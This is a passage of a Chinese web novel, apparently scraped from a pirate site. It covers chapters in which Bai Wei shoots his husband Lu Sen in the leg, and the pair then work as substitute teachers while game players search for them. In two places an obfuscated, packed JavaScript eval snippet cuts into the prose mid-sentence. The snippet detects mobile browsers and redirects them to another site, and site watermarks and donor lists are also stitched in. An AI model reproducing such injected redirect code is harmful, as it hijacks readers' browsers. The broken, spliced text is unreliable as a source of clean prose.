“你们两个!”超市老板本来火冒三丈,但在看见白唯手里的东西后,尖叫了一声,“等下,你手上拿着什么……天啊,我的宝贝邻居!只是出轨而已,只是出轨这种事,不至于发展到刑事案件的程度的!求你冷静一下,实在不行,你也能带你的姘头回家来玩啊……你最好带个基金经理或者医生律师之类的。他们的职业比较高尚,等你们离婚了,你老公搬离这里,他们作为新主人搬进来,还有助于提升房价……” “请你不要开这种不好笑的玩笑!我是不会离婚的!” 白唯的脸抽动了两下,他怒视着超市老板。卢森用他高大的身体挡在他们之间,低声对白唯说:“别管他,我们进去吧。” 可他的脸上分明带着狂喜。白唯觉得卢森又莫名其妙地得意起来了。如果不是超市老板在这里,他一定会给卢森一枪。 房门终于在两个人身后关上了。卢森擦了擦额头的汗道:“这老板说话嘴真臭。宝宝,你别生气……” 冰冷的枪管抵住了卢森的脑袋。 枪握在白唯修长的指间。 不知不觉间,白唯已经站到了卢森的身后。他冷冷道:“上楼,进卧室。” 卢森说:“宝宝,我们是在玩什么特殊的play吗,你可以把枪先放下来么,我怕室内走火……” “今天下午,有一个奇怪的东西,爬到了我的床上。”白唯说,“这就是我举枪的原因。” “什么!”卢森往上跳了一下,就像他妄图以此逃离枪管似的,可白唯只是动了动手腕,那把枪又抵在他的脑袋上,跟滑不走似的,“那一定是我的敌人!” 他义愤填膺地说。 “这个人竟然真的偷走了我的钥匙!还偷偷进入我家,来袭击你!” “他在楼上还没走呢,应该。”白唯哑声说着,声线优雅华丽如一条毒蛇,“老公,我们一起上去解决掉他吧。” 有这样如红酒般的声线与你说话,即使是让你为了他下地狱,也应该甘愿啊! “好的老婆,你用一把枪,我用一把枪。我去客厅拿猎枪。”卢森如是说,“老婆你能不能先把枪放下来?” 那把枪没有被放下来。相反,枪管颇具暗示性地在卢森的脑袋上敲了敲。 “如果你解决不掉他,我就解决掉你。”白唯的声音如酒液在大理石桌上流淌,“听到了吗老公?” 他将“老公”两个字咬得很重,好像在暗示,如果干不掉“他”,就是卢森的失职。 “那我去拿猎枪……” “你用这个。”白唯顺手拿起旁边的平底锅,把它塞到了卢森手里。 两个人就以这样一前一后的姿势上了楼。卢森走在前面,白唯在后面用枪指着对方的脑袋,就像在跳一曲双人探戈。 很快,卢森看到了一片狼藉的走廊。他痛心地说:“天哪!那个人竟然毁掉了我精心挑选的古董……” 白唯:“别装了,是我推倒的。你应该都听见了吧。” 卢森:“老婆我没有装啊?” 此刻显然说什么话都没有用。白唯对着那扇雕花的卧室木门说:“你开门。” 卢森面对木门。他深吸一口气,道:“老婆,我虽然不知道是怎么回事……但我和我的敌人之间真的没有任何其他关系。对于我而言,宿敌是不可能是老婆 的,只有老婆可以是老婆。我和老婆的关系一直很友好,不存在什么敌对……” 白唯皮笑肉不笑:“哦。” 卢森:“而且,之前出现在地下室的那个人应该也不是他。我根本不认识出现在地下室里的人!我确实在回家拿东西时在花园里看到一个黑影。但他在看见我之后就仓皇地跑了。我猜出现在地下室里的人是个逃犯,我们一起处理房屋,只是不想给自己惹事,害怕他死在外面赖在我们家头上罢了……” 白唯:“你到底开不开门?” 卢森:“老婆,我的意思是,我是说,既然有一个人从我们家逃出去过,就也会有第二个人逃出去。说不定在我们啰嗦的时间里,下午的袭击者已经从窗户逃出去了,卧室里空空荡荡的……” 就在这一刻,他听见了弹夹转动的声音。 “没关系。”白唯柔和地说,“今天在这个卧室里,必然会出现一具尸体。如果他不在了,我自然会拿别的补上去。” 面对白唯的决意,卢森只能说:“好的,老婆。” 白唯坚定地认为床上不可能还有任何东西。他所看见的无法描述的生物必然是卢森,除他之外不可能有别人。 可在开门的瞬间,他看着床上的东西,愣住了。 “就是你!坏人!” 卢森抢在这一秒,抄起平底锅冲了上去。 作者有话要说 感谢在2024-07-1517:47:09~2024-07-1619:25:05期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:明道若昧、茭莴、好喜欢恶毒美人受1个; 感谢投出手榴弹的小天使:kauru、月亮邮递员1个; 感谢投出地雷的小天使:suansuanchuchu、41046175、柊、我真的好爱、啊榆yu、青衣、大猫、【怎么可以不相信温□□xxx、拉磨舔狗攻、古时月、清明、?.屿小琼、西伯利亚大仓鼠、平面向量有事吗1个; 感谢灌溉营养液的小天使:清明98瓶;归期千载鹤75瓶;折柳、是锦鲤吖50瓶;crystal、月亮邮递员、七11130瓶;来一斤太阳29瓶;凤落倾27瓶;二〇〇26瓶;雪落 时宜22瓶;上学什么的不要啊——、Mostima、青衣、噗咻、西伯利亚大仓鼠20瓶;管脚放倒了19瓶;挺秃然的15瓶;我在马孔多吃泥土12瓶;邪恶狸花和齐AI的爱恨、两筐11瓶;连城阿月、梅兹大学在读生、麻辣王八、月白不是月牙白、某烷、不想起名、笑飞了我怎么总是笑飞、安折、徐盈岳、嫑收藏我的读者专栏、幻听、阿桢、姑娘我想胖啊、一个亲爱的无名人士、每天都在催更、u 第 41 章 什么玩意儿 “就是你入侵了我们家!” “哐!哐哐!砰砰砰!” 卢森一把把床上的东西掀到床下,用平底锅对它一顿狂砸。白唯一时间忘记继续用枪指着卢森。当他从短暂的震慑中恢复过来时,所做的第一件事便是打开了灯。 床上怎么会还有一只怪物? 如果卢森不是床上出现的那只怪物,如果他真是刚从外面回来的。那床上出现的那东西又是什么? 挥舞平底锅的卢森悄悄松了口气。在爬出二楼窗户,闪现至大门口前,他狂奔至地窖,把自己两个月前褪下的壳拖了出来,扔到了二楼床上。 还好,曾经做佣兵的经验给了他足够快的反应速度。此刻卢森一边对着两个月前自己褪下的壳拳打脚踢,一边对白唯说:“等下,亲爱的,这个东西……好像不是活的。” 白唯苍白着脸,提着枪走到了他的身边。 “它看起来像个人,也像个怪物,可它好像早就已经死了。”卢森去摸白唯的手,“哦不对……它好像是个模型。亲爱的,你伸手过来摸摸。” 白唯的手抖了一下。他谨慎地摸了摸那坨面目全非的东西。 难道这个看起来像是生物又不像是生物的东西,真的是被卢森的敌人偷偷搬到他的床上来的? 为了报复卢森?为了吓唬他?还是为了…… 该死的,这都不重要!卢森过去到底是干什么的!他怎么能给自己带来这么多麻烦!都是他的错! “你以前到底是干什么的?”白唯说。 卢森:“亲爱的,我是个间谍……” 弹夹里有七枚子弹。白唯忽然开枪。他对地上的东西连开六枪。就在卢森尚未来得及有反应时,白唯举枪瞄准,准确无误地把最后一枪射入了卢森的小腿。 突如其来,电光火石,不给卢森一点反应时间。他做出这个动作,就像人会在奶茶里加冰一样自然。 “啊!!” 卢森摔到地上,捂着伤口。白唯就在此刻把冒着烟的手枪扔到了地上。 他从旁边抽了一张纸巾出来擦手,面无表情地说:“亲爱的,我太害怕了,我怕它不是模型,而是没死透的某种生物,所以对它清空了弹夹。” “最后一枪,我不小心打偏了。老公你不 会怪我的吧?我太害怕了。” “我……不会……” 卢森痛苦地捂着自己的小腿,发出低沉的哀嚎。 “那就好。”白唯蹲下来,显得他折叠的长腿越发修长,“老公,你可以自己处理腿么?或者,我也可以帮你打个急救电话。” 他伸手摸了摸卢森的脸庞,动作温柔,声音却毫无爱怜之意:“老公,接下来一周,你可以坐着轮椅去教数学——如果你还能去的话。” 卢森仰躺在地上,一脸震惊地看着白唯。他小腿剧痛如地狱之火在烧,喉头却发紧,脊椎深处却传来令人战栗的兴奋和快乐。 他想和白唯做,现在,立刻,马上——如果他能想到办法合理地立刻治好自己的小腿的话。 而白唯在看见某个帐篷之后,脸立刻黑了下来。 他恨自己的手枪里没有第八发子弹。 在“砰砰砰!”的隐约枪声后,隔壁超市老板绝望地倒在了床上。他气差点上不来,不停地在胸口画十字,差点成为今晚的第一个死者。 这一夜的凌晨。面包车又载着一样东西从玫瑰别墅里驶了出去,只是司机换成了另一个人。留在家里的人,则在艰难地使用医药箱处理自己的伤口。 金鸡报晓,属于雪山镇的平静的一天又开始了。 …… “白唯!早上好!明天是代课的第一天,你准备得怎么样啦?卢森准备得怎么样啦?” 乔敏活泼的声音从电话里传来。 “我已经把讲义看过一遍了。至于卢森……” “嗯?他没准备好吗?” “我不知道,我去问问。” “你们两个之间怎么忽然变得有点生疏啊。”乔敏在电话那头开玩笑,“你们不是天天黏在一起么?怎么连他有没有准备好都不知道。” 白唯挂掉电话,才想到这件令他烦恼的事。距离代课只剩下一天,而在这原定的三天补习时间里,他竟然没有监督卢森进行任何准备。 他坐在沙发上,看着房间里暗红的墙纸。还好他们购买的房子足够大,即使是他们如今居住的左栋,在改造出许多书房和活动室后,还剩下三个卧室。 他如今住在另一个卧室里,和原本的主卧之间,隔了一条走廊。 小说的域名caixs▌(请来才 小说 看最新章节 完整章节) 白唯揉了眉头许久终于下定决心向着主卧的方向走去。 推开门后他看见卢森正坐在轮椅上戴着金丝眼镜在看几本数学书。 白唯:…… 卢森给他买的轮椅最终还是用在了卢森自己的身上。 白唯站在门边。他以为自己正面无表情然而所有人都能看见他的脸色此刻很臭。卢森却回头愉快地道:“亲爱的!” “……” “医生说我半个月后就能拆掉绷带很幸运差一点我的腿骨就被打断了。”卢森说“等我的腿恢复正常之后我们再一起出去旅游吧。” 白唯靠在门框上冷冷道:“是吗?希望这半个月里不会再有你招惹来的麻烦进入我们的屋子。” 卢森说:“不会的我已经下单订购了前后院监控系统。在这两件事之后我也对家里的安全有了更多的反思。有这套监控系统在即使是一只苍蝇也飞不进我们的屋子。” 白唯的脸更臭了这意味着他没办法在前后院布置杀人陷阱了。 他有点烦躁地用手指揉着自己的手肘。前天他是在想什么呢?在上楼梯时在房间里时直接给卢森脑袋一枪不就能把他一了百了了吗?结果他只给了卢森腿上一枪还让他又能苟活这么久—— 毕竟他们被超市老板看见在争吵了超市老板也看见自己的手上有枪了。白唯为自己找到了理由。 “其实我很意外。”卢森忽然说“亲爱的我其实很担心你会因为害怕而搬离雪山镇。毕竟家里在短短三个月之内有两个陌生人闯入实在是太可怕了。亲爱的你比我最大胆的想象中还要勇敢。” 这个家里最大的不明生物不就是你吗。白唯想。而且你的敌人也是不明生物。 还是会潜入房屋的不明生物。 “这里是我的屋子我的家。应该被我从这里请出去的是不请自来的外来者。”白唯道。 卢森在金丝眼镜后专注地看着他 “我也希望能一直留在雪山镇。毕竟在这里我度过了我的人生中最幸福的一段时光。”他低声道“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992586|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我希望我们能永远留在这里永远相爱。” 白唯:“别担心老公你当然会永远留在这里的。” 以成盒的方式。 “还有我不会囚禁其他任何人。”卢森又忽然道“我对收藏其他人没有任何兴趣。我只喜欢你。我只想要把你永远地留在我的家里。” “我不会出轨永远都不会。只有死亡才能把我们分开。” 白唯:…… 卢森小心翼翼地看着他很期待他的反应似的:“你……高兴吗?” “哦……这很好。不出轨不离婚这不会让我的家族蒙羞。”白唯说完这句话后又觉得有点别扭。他把脑袋往另一个方向挪了挪。 “我觉得挺好的。”他又说。 卢森说:“嗯……我也觉得挺好的。” 他们两个人都不再说话了。卢森继续看数学书白唯在门边站了一会儿 就暂且让卢森活到代课之后。 …… 雪山镇上有且仅有两所中学白马与青山。它们缠缠绵绵彼此敌视都想要把对方踩下一头。 然而即使是这样的两所中学它们对于周一的感觉都是相同的。那就是痛苦。 可这周一白马中学的九年级陷入了一种极度的蠢蠢欲动中。 “乔老师去外地了。她说这两周会有个让人意想不到的代课老师。你觉得代课老师会是谁?” “学历很高不会是法官老头吧。” “没什么好期待的。难道还能是个大帅哥?” 简单聊了几句几个学生兴趣缺缺地回到自己的座位上。 学校之外白唯深吸一口气。 他整理一下领结踏入学校。卢森摇着轮椅跟在他的旁边。 “他们是新来的代课老师么?”一株梧桐树下有人轻声说。 “应该是吧。走我们去看看那边。你们家当年捐的孔雀现在还养在学校的动物园里呢。”一名老师如是说。 另一个轮椅上的人只是笑笑。他面容苍白看起来十分虚弱。在轮椅上写着一个“隆”的小字。 可他的眼睛却死死、死死地盯着那两人走过的那边。 与此同时黑港城。 “排行榜上所有杀手的位置几乎都被定位了除了第一杀手和隐藏BOSS完全没有线索。”粉发女孩如是说“你说他们会藏到哪里去?” “凡经过者必留下痕迹。”一个玩家文绉绉地说。 粉发女孩踢了他一脚。另一个人道:“反正都是人嘛能躲到哪里去……” “等一下!”忽然有人道。 她戴着一副奇怪的眼镜指着海水之下的一个地方:“那里有反应!有个埋得很深的东西!捞出来看看是什么!” “埋得很深处理得也很好是行家啊。”几个玩家嘀咕。 他们费劲地把东西捞出来。毕竟这里面可能有游戏线索。可当他们戴着手套小心翼翼地打开时所有人都愣住了。 “这里面是什么玩意儿?” 作者有话要说 感谢在2024-07-1619:25:06~2024-07-1620:48:48期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:乌鲁西30瓶;勇敢小羊冲冲冲7瓶;晏珝5瓶;自得其乐、朗、冰冰糖啵啵鱼1瓶; 非常感谢大家对我的支持我会继续努力的! 第 42 章 完全没有认出他 “尸体?” “袋子里的东西也不像个人啊?” 黑港城湿湿热热,沉闷大雨又从云间落下。一群玩家精疲力尽地在檐下躲雨,翘起的头发造型也湿淋淋地耷拉了下来。 “你们说,第一杀手和隐藏BOSS到底在哪里呢?” “整个地图都找遍了,全世界也快走遍了——我们一到其他国家,就会遇见空气墙。系统提示我们已经在游戏地图范围外。他们到底躲在哪里了?” “我都快把黑港城和周围城市的地皮铲起来了。巴黎、北都、南都这几个活动地图我们也都找过了,不应该啊!” “他们难道不应该在某个大城市里酝酿阴谋吗?” 玩家们拿着地图指指点点,在各大城市上打上不同颜色的标记。却没有任何一个人注意到一座雪山,和雪山下的一座小镇。 担任队长的金发男人皱了皱眉。这个从被迫穿进游戏开始,就比所有玩家看起来都要更冷静、更有策略的玩家难得地露出了比所有人都要茫然焦躁的表情。 但忽然间,他转着钢笔的手指停住了。 黑长直很快注意到。她说:“队长?” “去港口,再检查一下那袋海鲜。”他紧盯着前方,眼眸闪了闪,“我不知道它是什么。但这里不该出现这样的怪东西不是吗?或许我们能找到更多线索。” “好的。”黑长直深信不疑。 他们撑起两把雨伞,起身走向雨里。金发男人拢起自己的皮衣衣角,黑长直就在此刻注意到了一样东西。 “队长,你腰带上挂的那个配饰是什么?我第一次在游戏里看见,很特别。”她说,“我不记得在人物创建界面看见过它。” “哦这个,内测问卷的奖励。”金发男人随口道。 他不着痕迹地将徽章挡在了皮衣之下。 如果黑长直足够见多识广的话,她会知道,这不是什么内测玩家的勋章。 而是只有游戏内部策划人员才能给自己的账号装配的,专属道具。 金发男人抬头看向被黑色建筑物分割开的灰色天空。大雨倾盆而下,他却在这须臾飞过城市的乌鸦漆黑的影子里,看见了一道白色的影子。 “……白色死神,你怎么可能从这个城市里消失呢? ”他低声道。 虽然不知道你最终定稿的姓名和形象,但我可是你的最初草案的…… 创作者。 “他”永远无法过上宁静的生活。现在不会,未来也不会,因为满怀仇恨和愤怒饱受虐待、使他无法融入正常人的童年与本性才是他的人生命题。 …… 白唯跑到美术教室后面的办公室里拿着茶杯疯狂喝水。 “白老师?白老师?” “你看见白老师了吗?他跑到哪里去了?” “白——老——师——” 女孩子们的声音从窗台边远去白唯此时此刻才从遮挡自己的柜子下爬了出来用手帕擦了擦额头上的汗。 现在的小女孩都这么夸张的吗? 在进入学校之前白唯完全没想到自己竟然会受到如此空前绝后的欢迎。他走到操场上时就已经有学生向他这边张望他离开校长室时门口爬满了前来围观的人第一节美术课刚上课所有学生都盯着他的脸看。 白唯毫不怀疑第一节课上他们什么都没听光顾着看他了。 “……美术课这种东西很好上的。你只需要随便念念ppt就行了。所有的同学都会在下面看小说或者写数学作业没有人会注意你在讲什么……” 白唯的脑海里又闪过乔敏的话。 根本不是这回事! “女孩子们很热情啊 白唯差点没被自己的口水呛死。他咳嗽时美术老师笑道:“好啦别紧张了我开玩笑的。那些学生都说你讲得很专业……呃这里怎么有人?” 她看着窗台下的位置。 几个男生从窗台下冒出头来且红着脸:“对不起老师!我们是过来捡球的!” 说完他们空着手跑走了。 白唯:…… 美术老师:“好明显的借口哈哈哈。不过你也应该习惯了吧?你上中学时应该也很受欢迎吧。” 美术老师明显对白唯也很有好感。她找出很多共同话题想要 和白唯搭话。可白唯的每一句回答都一板一眼十分僵硬:“没有。” “没有受欢迎?不应该呀。”她又眨了眨眼睛。 白唯:“只是普通同学关系。” 美术老师做了最后的努力和白唯继续搭话。可白唯的每个回答都彬彬有礼但像是标准回答既不风趣、也不幽默。 原来是个木头美人。 她有些意兴阑珊以去上课的理由离开了办公室。 白唯在她离开办公室后找来清洁工具开始打扫尤其是美术老师刚刚掉落头发的区域。还有她的手指——她沾着颜料的手指在白唯的办公桌旁边靠了一下然后又随着他们的对话在白唯的桌面上随意摩挲。颜料和掌纹于是满桌都是。白唯一直在忍耐在她终于决定离开时这份忍耐差点到达极限。 他在打扫中心灵又获得了暂时的平静。 操场上传来嬉笑打闹的声音。嘈杂又遥远仿佛也来自他的青少年时期。或许就在某个瞬间或许就在太阳光照射到桌上书本一角的某一刻白唯产生了一种恍惚的错觉。 被漆黑窗框分割成四块视野的玻璃之外不是白马中学的操场而是他少时中学的操场。映照在这四块视野之上的他的影子不是成年的他拖着拖把的影子而是少年的他拖着拖把的影子。 “白唯又在打扫卫生啊!” “别这样说话这样说不好没有礼貌。” 和童年时不一样少年们的恶意不会如此明显地表达出来——尤其是在一所贵族中学里。所有人都学会了礼貌。 尤其是在成绩优异又是当地名门望族之后的白唯面前。 没有人会去招惹白唯面对异类时的恶意也只会转化为陌生。更何况 贵族学校里不是没有被欺凌的学生。白唯曾经见到过一个。他被孤立被几个人按在水池里。那几个玩得起劲的学生看见白唯经过白唯分明没做什么他们却被吓得一拥而散。 只剩下那个小胖子披头散发地坐在水池旁。白唯看了他一眼说:“你应该去报告老师。” 小胖子却说:“你是白唯!我知道你的。你总是 独来独往,他们都不和你一起玩。就像他们也不和我一起玩一样。 白唯后来在教师办公室里看见了这件事的后续。班主任叫来了小胖子的家长和霸凌者的家长,他们在办公室里进行了并不那么有效的交流。而后,在班会课上,白唯自己班级的班主任也提到了这件事。 她说:“孤立同学,不和同学一起玩是不对的。 班会课结束后,学生三三两两结伴着去小卖部或去食堂。白唯在自己的座位上独自清理桌面。没有人叫他,没有人询问他,也当然不会有人把他的笔袋丢到另一个地方去。 他的同龄人会说孤独很可耻。他们会欺负那些一个人吃饭的人,因为他们很孤独。但白唯是个例外。他同样是一个人,没有人欺负他,也没有人和他说话——就像小胖子说的那样。 小胖子的被孤立可以作为霸凌事件报告给班主任。可白唯的孤独却无法用语言来形容。他没有被欺凌,没有被看不起,他自己的感觉也不太坏。 可他没有朋友。 或许每个人都需要有几个朋友。白唯不想让自己显得太异常。可他实在不能理解要如何和他们说话,也无法理解那些人无时无刻不存在的分享欲——他们轻而易举地对身边的人提起每一件事,好像那是值得言说的话题,又或者这里面藏着值得分享的某种情感。 白唯也试着给予友善,可他实在无法发自内心地关心他们在做什么。或许空空荡荡的内里是给不出东西的。好像他给出的礼物再多,这些人也是客客气气的。 就像给予的情感不能用礼物价值来替换,这可真让人头疼。 那个被霸凌的小胖子也曾出现在白唯的生活里。他在那之后黏上了白唯,想和他交朋友似的。但一个学期后,他也离开了。 在那之后,他亦是转学了。白唯在同学录上留下过属于他的一页,但他从来没有去看过对方的电话号码。 十年过去,白唯还是在这里,维护着地面的清洁……就在这时,他的手机响了起来。 “亲爱的。 电话那头传来了卢森稳重又不失醇厚,优雅又不失深情的声音。 白唯:…… 多么成熟的声线。和卢森早上在家里时那兴高采烈的“亲爱的完全不一样。 很显然卢森肯定是在被学生们簇拥着为了体现自己身为成年男人的精英魅力才在用这样的语气讲话!白唯甚至能想象到他此刻戴着金丝眼镜穿着条纹西装但坐在轮椅上的模样。 “你……”白唯调整了一下语气“你的课上完了。” 卢森低低地笑了一声:“对。这里的孩子们都很有悟性很好学。” 白唯:…… 鸡皮疙瘩都要起来了。求求你恢复正常吧。 卢森:“晚上一起去西餐厅吃饭么?” “不然呢?你早上也没买菜啊。” 白唯用手捂住了自己的嘴他不敢相信刚才那句话竟然是他说出来的他可不想让镇上的人知道他和卢森会吵架。好在办公室里也没有其他人……卢森应该不会弱智到在走廊上开公放……白唯定了定神最终道:“好的老公。” 卢森又低低地笑了两声:“下课后我来接你。” 白唯:…… 接什么用你的轮椅来接吗。 “少看点乱七八糟的电视剧和小说。”白唯最终暴躁地说。 白唯直到挂电话时才忽然发现办公室门口多了一个人。他几乎是被吓了一跳因为他发现那个人似乎在无比专注地看着他。 刚才他和卢森的对话不会被他听到了吧? 这个人也坐在轮椅上。他比白唯瘦小穿着宽松的衣服裤管里的腿也细瘦似乎在轮椅上已经坐了很多年。他的头发不算很短却梳得一丝不苟一看就是被好好照料着衣服也很干净。 可他除这以外的部分都透露着久病和虚弱。白唯在看见他乌青的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992587|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇时感觉他长得有点眼熟。 “你好。”白唯说。 那个人的眼睛终于从白唯健康的长腿上挪开了。他对着白唯用他乌青的嘴唇笑了笑:“你好……咳咳。我是来办公室里拿我的画的。” 这个人是学校里的学生?白唯觉得很异常。即使看起来很瘦弱这个人的年龄也绝不是在少年这个年龄段的。 “我不是学校里的学生。只是这几年 这个人的身份听起来云遮雾绕的。但在 那个人摇着轮椅,从一堆画卷里找出自己的那一卷时,白唯想起了早上美术老师对美术教室的介绍。 “走廊尽头的那一座教室是私人画室,以前的校董的儿子的。这栋美术楼都是他们捐的。哈哈,你是不是挺惊讶于这座学校的残疾人设施还挺多的?这些也是之前那个校董让建的……” 白唯敏感地捕捉到了“之前”这个形容词,但尚未理解其中含义。可现在,看着眼前的人,有钱的校董,从前的校董……他有了个猜想。 校董是“以前”的,是因为他已经死了,还是因为车祸去世的。眼前这个人,是校董的儿子,是因为另一场车祸落下残疾。 而符合这个条件的人,白唯已知的,只有隆冬的弟弟隆夏。 果然,那个人说:“你是学校新来的代课老师吗?” “是的,我是白唯。”白唯说。 “哦!你好,我是隆夏。”那个人说。 这也能解释白唯觉得他长得有点眼熟了。隆夏和隆冬是姐弟,他们面容上有许多相似的地方。 在进行进一步的自我介绍前,隆夏说:“哦!其实我早就听说过你了。” “嗯?” “大半年前搬到雪山镇的高知家庭,镇上谁不知道呢?”隆夏道,“而且你还是我姐夫的同学。他在家里经常提到你。” “原来如此。”白唯道。 他有点心不在焉,脑袋里想的全是卢森最后一堂课讲得怎么样。正是因此,他并没有注意到隆夏看着他时,眼里闪烁着的仇恨和嫉妒。 还有不甘。 “我帮你把画搬进教室里。”路过走廊尽头时,白唯客气道。 “不用了。”隆夏说。 或许这是隆夏的自尊吧。但白唯还是礼貌地在教室之外等待了一会儿,以备对方的不时之需。尽管他心急如焚,心里只有卢森此刻到底在对学生催什么眠。 隆夏看着白唯的眼神更加幽暗愤怒了。 他知道,白唯说要帮他,只是出于礼节而已。他根本不是发自内心地想要帮助他。 他就像是一条徒有其表的冷血动物。 “我的家人一会儿会到校门口来接我回去。”从美术楼出来后,隆夏如是道,“你看起来很急切,是有什么事情要做吗?我自 己过去没问题的。” 明知道白唯会虚伪地推自己到校门口隆夏却还是故意如此询问。 要知道本来校方是安排了人跟着他的。他是因为知道白唯在美术教室里才故意让那个人离开的。 隆夏很难解释自己那幽暗的心理。他看着白唯白唯还是像中学时那样体面又光鲜。他或许就是想要享受白唯不得不做这件事时带给他的那种诡异满足感。他明知道白唯虚伪也憎恨他但还是会因此扭曲地兴奋起来。 可白唯竟然点头道:“是的。真是不好意思。我得去看看我的丈夫。既然你能自己过去的话我就先走了。” ? 白唯竟然真的松开了轮椅扶手 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节)在有礼貌地道别后向着九年级A班教室的方向走去! 隆夏极度震惊。这是他完全没有想到的发展。 而且白唯竟然真的完全没有认出他来! 作者有话要说 感谢在2024-07-1620:48:49~2024-07-1717:20:54期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:雪落时宜1个; 感谢投出地雷的小天使:好喜欢恶毒美人受2个; 感谢灌溉营养液的小天使:60958169152瓶;松乔83瓶;蓝啾不睡觉zzz41瓶;nm0、冷翡20瓶;永夜极光12瓶;白羽巫鸦、暕煦、不可以涩涩、是阿蕊也是阿芯、铁锅只炖大鹅、不觉晓、唯墨、43717998、辞安、平面向量有事吗、厌鬼、禾曦、土豆、杉杉杉杉崽10瓶;yokine、一个斯帕纳9瓶;西伯利亚大仓鼠8瓶;十约、挽繇、pingbo、GS.2.7.5.9.、吸猫侠、白日做梦夜里失眠、哟哟鹿鸣5瓶;58037723、老婆我有花苦茶3瓶;究惑久久、间歇性神经递质发疯实、一只大鱼、silence2瓶;Xxxx、一块老冰糖、小魔术师z9、冰冰糖啵啵鱼、阔乐、可爱想日、很有意思、?、hi、凉凉、章灼、朗、临川小友、大大看过来!!、亭夭夭、非生命物质、鳄鱼?、十字1瓶; 非常感谢大家对我的支持我会继续努力的! 第 43 章 春夏 距离下课还有15分钟,走廊空空荡荡。白唯却越走越心急如焚。 是啊,他在路上急什么呢?卢森今天下午可是有两堂数学课。论丢脸,卢森早就在上一堂课把脸给丢光了。他如今赶过去,也是无济于事,而且卢森也不会看见他在窗户外进行手势提示,他的到来对已经发生的事情毫无帮助。 可白唯还是越走越快越走越快……终于,他到达了九年级A班教室的门口。教室里的学生正在专注听课。透过窗玻璃,他能看到卢森。 卢森戴着金丝眼镜,坐在轮椅上,手里握着根杆子在讲课。 幻灯片上的内容很正常,黑板上的公式也很正常,学生们的表情也不诡异。 这看起来,只是最普通的一节课,只是最正常的一个下午。 白唯心里忽然有点空落落的。就像一阵风吹干了汗湿的脊背,他没有像落叶一样被风吹走,却有点无所适从。学生们、老师们都好好地在他们各自的教室和办公室里,保安和清洁工也在他们各自的位置上。 就连卢森写的板书都是正确的了。 只有他站在窗外,不知道自己该干什么。他明明身在这里,却又觉得他好像永远不属于这里。他只是应乔敏的要求来白马中学做代课老师,其实他自己没有要做的事,也没有想要做的事。 很多年后,白唯回想起这一天,才意识到那一刻的感觉是一种强烈的孤独感。或多或少的,他认为卢森和自己一样——是的,他认为这只怪物和自己一样,他们都是无法融入雪山镇、乃至无法融入常人之中的“怪兽”。 可现在卢森背叛了他,他不需要自己的帮助,没有表现出异常,就那么水灵灵地融入到人群里了。 再回想起来,或许从一开始,卢森这个有着怪物身的家伙就远比他更像一个人,也更想做一个人。他想要拥有家庭、想要拥有美丽的妻子、想要在小镇上争名夺利、建立名声、想要和白唯做/爱……他拥有那么多属于人的欲望。 如若主题足够沉重,如若此刻是夜晚而他正走在孤独的铁轨上,他甚至可以将此刻的感受形容为“背叛”。 但窗玻璃里面、讲台前的人,此刻向他看过来了。 “而且卢森也不会看见他在窗户外进行手势提示。” “ 而且卢森不会看见窗外有人。” 卢森看见他。他挑了挑眉毛,露出了一个很惊喜的笑容。教室里的学生们也“唰”地一下看过来了。在这四面八方的目光里,卢森对白唯招手、对他笑。白唯感到无所适从,他低头假装在整理自己的领带,好像自己不站在这里。 “我的老婆到了。”卢森对教室里的学生们说,“距离下课时间还有十分钟……按照学校的规则,我可以提前十分钟下课吗?” 有几个调皮的学生起哄,戴着黑框眼镜的班长严肃说:“老师,不可以。我们都是准时下课的。” “哦,好吧。”卢森说。 卢森又讲了一会儿三角函数,然后他道:“我觉得没什么讲下去的必要。我在讲课,你们没有一个人在听课,而且都在偷看我的老婆。” 一部分人把脑袋转了回来。戴着黑框眼镜的班长又抗议:“老师,是你讲得太慢了。怎么一道选择题讲了五分钟啊。” 卢森泰然自若:“因为我也在偷看我的老婆。” 教室里一阵阵哄堂大笑。白唯在外面听见里面一阵阵笑声,也不知道里面在笑什么。这种感觉倒是让他想到了自己的中学时代。他也时常听见自己的同学们在笑。他知道这些人在笑什么,但他不知道他们笑的内容有什么好笑的。 但这次白唯发现自己好像成为了乐子中心……下课铃响的瞬间,白唯本来打算进教室把卢森弄出来,然后赶紧回家,离开这个让他不适应的地方。然而教室里一群学生一拥而上…… 然后,他们推着卢森,把他推到了白唯的面前。 “白老师好!” “师娘好!” “师娘真好看!” “听说白老师是大学神!” 白唯瞪着眼睛看向卢森。卢森却伸手握住他的手:“你在等我下课,我好开心。” 这本该是让他起鸡皮疙瘩的动作。但此刻比起在学生们的赞美中无所适从,白唯反而因为卢森和自己互动松了口气,像是终于找到理由结束待机状态似的。 那一刻他觉得卢森又像是和自己一个战壕里面的战友了。 他于是也握住卢森的手:“这是我应该做的,老公。” 尽管学生们围追堵截,白唯还是带着卢森灵活地穿越了 包围圈。在奔赴校门口的路上白唯忽然道:“我没想到你教书还挺……挺没有异常的。” 